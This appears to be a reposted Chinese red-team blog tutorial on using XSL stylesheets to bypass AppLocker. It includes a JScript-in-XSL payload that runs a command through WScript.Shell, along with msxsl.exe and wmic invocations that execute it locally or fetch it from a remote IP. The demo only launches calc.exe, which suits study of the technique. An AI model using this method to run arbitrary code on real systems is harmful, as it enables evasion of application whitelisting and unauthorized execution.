XSL Script Processing

XSL指扩展样式语言(Extensibel Style Language)。万维网联盟(W3C)开始发展XSL的原因是:存在着对于基于XML的样式表语言的需求。在红蓝对抗中,使用XSL文件执行恶意代码有时可以帮助我们绕过APPLocker。下面介绍两种利用手段。

命令执行

技术复现(msxsl.exe)

msxsl.exe是微软用于命令行下处理XSL的一个程序,通过它我们可以执行XSL内的JavaScript进而执行系统命令。

下载地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714。

msxsI命令行接收形为msxsl.exe {xmlfile} {xslfile}的参数。由于XSL算是一种特殊的XML,我们可以使用msxsl.exe {xslfile} {xslfile}调用xsl文件内的命令。

<?xml version='1.0'?>
<xsl:stylesheet version="1.0" 
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
xmlns:user="https://www.dbappsecurity.com.cn">

<msxsl:script language="JScript" implements-prefix="user">
	function xml(nodelist){
    
    
	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
	return nodelist.nextNode().xml;
	}
</msxsl:script>
<xsl:template match="/">
		<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

本地执行

msxsl.exe Ail.xsl Ail.xsl

在这里插入图片描述

远程执行

msxsl.exe http://xxx/Ail.xsl http://xxx/Ail.xsl

在这里插入图片描述

技术复现

wmic可以通过形如:wmic.exe {wmic_command} /FORMAT:{xsl_file}的方式执行xsI内的恶意代码。{wmic command内可以填写任意的wmic可执行的命令}

本地执行

wmic process get name /format:Ail.xsl

在这里插入图片描述

远程执行

wmic process get name /format:"http://104.243.21.177/Ail.xsl"

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_44216796/article/details/112591323
xsl